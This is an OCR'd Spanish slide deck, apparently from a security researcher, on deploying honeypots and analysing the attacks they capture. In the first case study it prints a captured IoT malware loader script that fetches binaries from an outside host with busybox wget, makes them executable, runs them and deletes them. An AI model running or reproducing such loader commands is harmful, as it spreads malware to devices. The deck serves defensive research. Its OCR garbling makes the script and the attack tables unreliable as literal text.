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Definicion

Un honeypot es un recurso que simula ser un
objetivo real, el cual se espera que sea atacado
o comprometido. Los principales objetivos son
el distraer a los atacantes y obtener
informacion sobre el ataque y el atacante.

[R. Baumann, C. Plattner]




Finalidad

Expuesto deliberadamente para ser atacado.
Distraer y desviar la atencion del atacante.
Obtener informacion.

Obtener tendencias de ataque.

Detectar campaias maliciosas.

Aprendizaje.

Detectar nuevas vulnerabilidades.

Complementar a otras soluciones de seguridad.




Consideraciones

No es un sistema de produccién, nadie deberia de tratar de comunicarse con él.

Cualquier trafico con destino al honeypot es considerado sospechoso.

Cualquier trafico originado desde el honeypot significara sistema comprometido.

Evitar cualquier ataque potencial a otro equipo o a terceros.




Tiempo para recibir un atague/sondeo ?

Sun Nov 1S 12:58:55 201§

Every 1,0a: necatat -antp Sun Nov 15 12:58:55 2015

Conexicnes activaa de Internet (seryidores y establecidos)

Prota Recib Enviad Direccidn local Direccifén remota Estado PID/Program name
TTp 0 0.0.0.0:138 0 ESCOCHEA 15855/python l ' "
top { 0.0.,0.0:133 0.0C. ESCUCHAR 15855/python
tcp 192.168.1.241:4555 0.0.0.0: ESCUCHAR 1487 /2ahd ' "----' '
Tcp 0.0.0.0:2222 0.0.0.0: ESCUCHAR 14751 /pycthon

cop 0.0.0.0:80 0.0.0,0 ESCUCHAR  2148/apache \A( \(9)

tcp 0.0.0.0:23 0.0.0.0: ESCUCHAR 23368/pycthon
top 0.0.0.0:445 0.0.0.0: ESCUCHAR 15855/python _\(xx)
top 192.168.1.240:23 £5,96.161,50:3833 ESTABLECIDO 23368/python ik
-or 192.168.1.241:45855 192.168.1.204:48930 ESTABLECIDO 26706/a3shd: nekko [ [
top 0 192.168.1.240:23 42.57.212.20:59658 ESTABLECIDO 23368/python

IOOOOOOCAO

AS483%7 ONCGROUP Chinalf9® Backbone CN,China 7.72.64
AS49134 Chinanet 2 DE,Cermany 7. 3.149.5
AS17923 asn for Neimenggu Provinci EA,EBosniaandHerzegovina 53.51.211
AS551167 Contabo GmbH 47 U5,U0nicedScates 1.66.13%
AS9146 BH Telecom a.d. Sarajevo ES,Spain $5.81.233
AS6724 STRAIO AG BR,Brazil « 124,185
AS46664 VolumeDrive ™, Taiwan 19.22.152
AS3352 TELEFONICA DE ESPANA KR, Korea, Republicof » +212.20
AS4760 Digital United Inc. NA, Moxacco 3.148.5%
AS4766 Korea Telecom TR, Turkey 38.228.239




Clasificacion de Honeypots (l)

Interaccion

Baja
e Simulan servicios o sistemas operativos
» Actividad limitada
- * Minimo riesgos
Produccién Informacioén minima
Faciles de instalar y mantener.
« Prevenir, detectar y responder. Facil de detectar por un atacante experimentado.

* Proteger a la organizacion

* Alertar a los administradores. Media
* Mayor interaccion.

. — * Aumenta el riesgo
Investigacion * Mayor cantidad de informacioén recopilada.

e Obtencion de muestras de malware.

e Aprendizaje.
e Retener al intruso el mayor Alta
tiempo posible. » Sistemas reales (Fisicos o virtuales).
* Riesgo es alto.
Gran cantidad de informacion obtenida.
Monitorizacion, Analisis Forense ...
Costoso de mantener




Clasificacion de Honeypots (Il)

IMPLEMENTACION LOCALIZACION

Honeypots Fisicos “ Red Interna

Honeypots Virtuales Exterior (DMZ, VPS)




| . .
' Ventajas/Inconvenientes

Ventajas

| * Proteccion de nuestros sistemas.
" Prevencion de ataques.

i: Recursos Minimos
! Falsos positivos minimos
Ataques internos y externos
Producen poca informacion, pero muy valiosa.

Inconvenientes

* No aportan valor si no son atacados.

e Visidén limitada.

* Mas interaccion, mas riesgo.

* Identificacion de honeypots mediante:

 Herramientas especificas.
e Scripts de nmap.
* Fingerprinting
* Black Hat USA 2015 - Breaking Honeypots For Fun And Profit
e Servicios como https://honeyscore.shodan.io




- Detectar un Honeypot

Qué nos hace sospechar

THAT'S SUSPICIOUS

Poca actividad en el sistema.

Muchos puertos abiertos o combinaciones no realistas.
Credenciales demasiado débiles.

Software Honeypot instalado por defecto.

Sistema operativo instalado por defecto.

Poco software instalado.

Deteccion de VM.

Ficheros y carpetas muy llamativos.

- N




Quien visita mi Honeypot?

Ataques automatizados desde equipos Comprometidos.
Script Kiddies.

Ciberdelincuentes con conocimientos avanzados.
Investigadores.

Crawler BOT.

Atacantes con intenciones poco claras.
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Informacion sobre tendencias de ataque

T 7T

08:18:54.696111 IP 39.113.75.240.48054 > 10.70.12.11 23:
08:18:54.709686 IP 39.113.75.240.47946 > 10.70.12.11}23:
08:18:55.193755 IP 39.113.75.240.48054 > 10.70.12.11}23:
08:18:55.216866 IP 39.113.75.240.47946 > 10.70.12.11}23:
08:18:55.684032 IP 39.113.75.240.48054 > 10.70.12.11}23:
08:18:55.684277 IP 39.113.75.240.48054 > 10.70.12.11 23:
08:18:56.215301 IP 39.113.75.240.48054 > 10.70.12.11}23:
08:19:01.273948 IP 198.199.98.246.46304 > 10.70.12.11..5900

08:19:01.495959 IP 198.199.98.246.46304 > 10.70.12.11.5900
08:19:01.496064 IP 198.199.98.246.46304 > 10.70.12.17.5900
08:19:01.719616 IP 198.199.98.246.46304 > 10.70.12.17..5900
08:19:06.174119 IP 39.113.75.240.48154
08:19:06.177344 IP 39.113.75.240.48054

> 10.70.12.11}23:
> 10.70.12.11}23:
08:19:06.615726 IP 39.113.75.240.48154 > 10.70.12.11}23:
08:19:06.622687 IP 39.113.75.240.48054 > 10.70.12.1123:

>

>

>

Ly

08:19:07.086104 IP 39.113.75.240.48154 > 10.70.12.11:23:
08:19:07.086239 IP 39.113.75.240.48154 > 10.70.12.11 23:
08:19:07.591534 IP 39.113.75.240.48154 > 10.70.12.11)23:
08:19:15.940534 IP 198.199.98.246.47821 > 10.70.12.11..22:
08:19:16.164914 TP 198.199.98.246.47821 > 10.70.12.11..22:
08:19:16.167392 IP 198.199.98.246.47821 > 10.70.12.11.22:
08:19:16.414442 TP 198.199.98.246.47821 > 10.70.12.11.22:
08:19:17.554173 IP 39.113.75.240.48154 > 10.70.12.11 23:
08:19:17.556198 IP 39.113.75.240.48260 > 10.70.12.11}23:
08:19:18.054095 IP 39.113.75.240.48154 > 10.70.12.11 23:
08:19:18.064334 IP 39.113.75.240.48260 > 10.70.12.11}23:
08:19:18.579168 IP 39.113.75.240.48260 > 10.70.12.11}23:
08:19:18.579288 IP 39.113.75.240.48260 > 10.70.12.11}23:
08:19:19.124066 IP 39.113.75.240.48260 > 10.70.12.11 23:
08:19:29.084000 IP 39.113.75.240.48260 > 10.70.12.11}23:
08:19:29.117381 IP 39.113.75.240.48357 > 10.70.12.11}23:
08:19:29.596645 IP 39.113.75.240.48260 > 10.70.12.11:23:
08:19:29.665612 IP 39.113.75.240.48357 > 10.70.12.11:23:
08:19:30.210599 IP 39.113.75.240.48357 > 10.70.12.1123:
08:19:30.210705 IP 39.113.75.240.48357 > 10.70.12.11}23:
08:19:30.786906 IP 39.113.75.240.48357 > 10.70.12.11}23:
08:19:40.726303 IP 39.113.75.240.48455 > 10.70.12.11|23:
08:19:40.747028 IP 39.113.75.240.48357 > 10.70.12.11}23:
08:19:41.137819 IP 39.113.75.240.48455 > 10.70.12.11}23:
08:19:41.193682 IP 39.113.75.240.48357 > 10.70.12.11;23:

:19:41.563797 IP 39.113.75.240.48455 > 10.70.12.11:23:
08:19:41.563906 IP 39.113.75.240.48455 > 10.70.12.11}23:
08:19:42.034843 TP 39.113.75.240.48455 » 10.70.12.1123:
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Informacion sobre tendencias de ataque

CRUCE DE
ANALISIS ACTIVO INFORMACION
SOSPECHOSO CONTRA LISTAS DE
REPUTACION DE Ips.

MAC (Red
Local) PUERTO

RIR Publicas

* Generadas por los
honepots.

* Virus Total

* HoneyDB

Coordenadas * Open BL

* NoThink

* AlientVault

* Twitter

* Proxys y Proxy
Ciudad Socks

* Exit Node Tor

Puertos
Continente

Pais Fabricante Servicios

ASN
Sistema Operativo

Organizacion Privadas




Informacion sobre Ataques

ANALISIS
ACTIVO
SOSPECHOSO

MAC(Red

Local) PUERTO

RIR
Continente
Coordenadas
Pais Fabricante Servicios

Ciudad

Astl Sistema

Operativo
Organizacién

CRUCE DE
INFORMACION
CONTRA LISTAS
DE REPUTACION
DE lps.

Publicas

* Generadas por
los honepots.

* Virus Total

* HoneyDB

* Open BL

* NoThink

* AlientVault

» Twitter

* Proxys y Proxy
Socks

e Exit Node Tor

Privadas

COMUNICACION

Sistema
Operativo

Comandos
Ejecutados

Acciones
realizadas

Exploit
Utilizados

Snort,
Suricata ...

WAF

MALWARE

Origenes
descarga

Tipo de
muestra

Hash

Chequeo
motores
antivirus.

Obtencion
de C&C
Analisis
Estatico
Analisis

Dinamico




Despliegue

Desplegar Honeypots en distintos:
Paises
Proveedores de Internet
Universidades
Sistemas de Control Industrial
Instituciones publicas

Centralizacion de la informacion:
Envio seguro a un servidor
centralizado.
Almacenamiento, analisis,
consulta y visualizacion de la
informacion almacenada.
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isor |: Vista Honeypot. Vista Info IP.
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Visor |: Vista Honeypot. Vista Info IP.
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Visor ll: Mapa Tiempo Real de Ataques.
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Visor |l: Mapa Tiempo Real de Ataques.

TOP ASN

[#2) » Address not found
/AS9365 its communications inc.
&

(ag) as6849 s5c uKRTELECOM

ﬁzsos—ﬁ 17:26:43 "ES,Spain” "212.225.215.56" "Snort”

nzs-nsﬂs 17:26:43 "ES,Spain” "212.225.215.56" "SIEM" "Malware" "Honey1"

ﬁﬁ-ﬂﬁﬂs 17:26:39 “ES,Spain” “212.225.215.56" "SIEM" “Malware" "Honey1"




: Visor lll: Vista Tendencias de ataque.
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TENDENCIAS de AT

ACH S

JAFRINIC W LACNIC WM APNIC RIPE W ARIN B NORTE AMERICA

M EUROPA M AFRICA W ASA OCEANIA

¥ SUR AMERICA

Feed Atacantes

Atma.es InfoSec

W23 mso 81 W13 W445 W02
W 3128 MW 5002 8080

uK for sion
M China Telecom Zhejiang
B China Uricom Hebei
China Uricom Shandong
B SISNA
¥ TE Data
M Shanghsi KUANPING Co.
M Uniersity of Ousgadougou
M CHTD Chunghwa Telecom Co. Lid.
B PT Telkom Indonesia
M Telefonica de Espana
N Vivo
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HoneyStation

Atma.es InfoSec

H attacke
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1 AS4134 Chinanet
AS31863 Centriogic Inc.
I ASB452 TE Dsta
1l AS4812 China Telecom (Group)
 AS25543 ONATEL FasoNets Autonomous Sy
I AS3462 Dsts Communication Business Gr
H AS17074 PT Telekomunikasi Indonesia
I AS3352 TELEFONICA DE ESPANA

Atma.es InfoSec

139" "Honey1
39" "Haney1"




Visor IV: Vista Malware

“SG.SIngapare” "AS45634 10 Sclence Park Road*

"US,UnitedStates’
“US,UnitedStates
“US, UnitedStates’
“USunitedStates
"Us UnitedStates’
“US,UnitedStates

"AS8075 Microsoft Carporation

ASB075 Microsoft Carporation’ 191_11&227 100" "22%

"AS8075 Microsoft Corporation® *191.238.227.1007 '!2' i,
AS8075 Microsoft Corporatibn®™ “191.238.227.100% 22" “Haney1*
"AS8075 Microsoft Corparation” "191.238.227.100" “22" "Honey 1"
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IASiM&SM;MT—nL.M
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1 1P Address not found
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B AS16509 Amazon com Inc.

M AS15169 Google Inc.
lmmmn
B AS31133 QUSC MegaFon
IAS‘NSTATAMMV
M AS36351 SofiLayer Technologies Inc.
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W Conficker M PeriBot M DDosXOrg M Flooder
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B2 N80 W19 W445 W38

H3455422 WSA66553 W14533250 18056445

W8089533

- ——

1 ET TROAN Conficker b Shelcode

¥ (portscan) TCP Portscan

1 ET POLICY GNUILinux APT User-Agent Out
1 ET POLICY Executable and finking forma

W ET DROP Dshield Block Listed Source gr

1 ET POLICY RDP connection confirm

W ET POLICY PE EXE or DLL Windows

1 ET SHELLCODE Possble Call with No Off
W ET SCAN SSH BruteForce Tool with fake




: Caso | : Dispositivos Expuestos

TELNET CON CREDENCIALES DEBILES

SSH CON CREDENCIALES DEBILES
DISTRIBUCION DE MALWARE
CONTROLADOS POR C&C

ALREDEDOR DE 95000 EVENTOS EN 2 MESES

3750 IPS DISTINTAS
INVOLUCRADOS ROUTERS ESPANOLES

PANELES WEB EXPUESTOS A INTERNET




Caso | : Dispositivos Expuestos

#1/bin/bash

ulimit -n 512

ulimit -u 512

kill -9 ./busybox
killall ./busybox

kill -9 ./col

killall ./col

busybox -f /tap/*
busybox -f /root/*
busybox -f /usr/bin/strinags
busygox -f /usr/bin/ps
r‘_i

busygox wgetl http://185.
r'_‘w

busygox wgetl http://185.
r‘_W

busybox wgetl http://185.
ra -f *

busy?ox wgetl http://185.
r‘_W

busygox wgetl http://185.
n_w

busybox wgetl http://185.

wgetl http://185.
wgetl http://185.
wgetl http://185.
wgetl http://185.

.126/m1; busybox chmod +x mi; ./mi; busybox ra -f mi*

126/e1; busybox chmod +x el; ./el; busybox ra -f el*

.126/rma; busybox chmod +x rma; ./rma; busybox rm -f rma*
.126/pcp; busybox chmod +x pcp; ./pcp; busybox rm -f pcp*
.126/sph; busybox chmod +x sph; ./sph; busybox ra -f sph*

126/mi; busybox cp /bin/busybox ./; busybox cat mi > busybox; busybox rm -f mi; busybox cp busybox mi; busybox ra -f busybox; ./mi; busybox ra -f mi*

.126/e1; busybox cp /bin/busybox ./; busybox cat el > busybox; busybox rm -f el; busybox cp busybox el; busybox ra -f busybox; ./el; busybox rm -f el*
.126/rma; busybox cp /bin/busybox ./; busybox cat rma > busybox; busybox rm -f rma; busybox cp busybox rma; busybox rm -f busybox; ./rma; busybox ra -f rma*
.126/pcp; busybox cp /bin/busybox ./; busybox cat pcp > busybox; busybox ra -f pcp; busybox cp busybox pcp; busybox ra -f busybox; ./pcp; busybox ra -f pcp*

126/sph; busybox cp /bin/busybox ./; busybox cat sph > busybox; busybox rm -f sph; busybox cp busybox sph; busybox ra -f busybox; ./sph; busybox rm -f sph*
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Caso Il : Generando ganancias con ClickFraud

QAATERERRRRRRRRRRRREREERVVL

Qmﬁﬂtbnﬁﬂﬁﬂﬂﬁ'ﬁﬁﬁﬁﬂﬂﬁUUGEKNGUMBBGWUG

SERVICIOS DE PRUEBA DE DISTINTOS
PROVEEDORES

FUERZA BRUTA SSH

PASARELA A PAGINAS CON PUBLICIDAD

OBTENCION DE BENEFICIOS ECONOMICOS




Caso lll : El “Ataque” Asiatico.

Listado con 17400 IP Credenciales SSH

Iphone y AppleTV (con JailBreak), Router Zyxel, entre otros.

246 172 China

Turquia
roctl23 123456 password W Tailandia

Malasia
India

W Espafa

Estados Unidos
W Brasil
W Otros

Dinamarca

W Ucrania




Contacto

TWITTER: @O0fjrm0

Francisco.rodriguezm@incibe.es

OfirmO0@gmail.com
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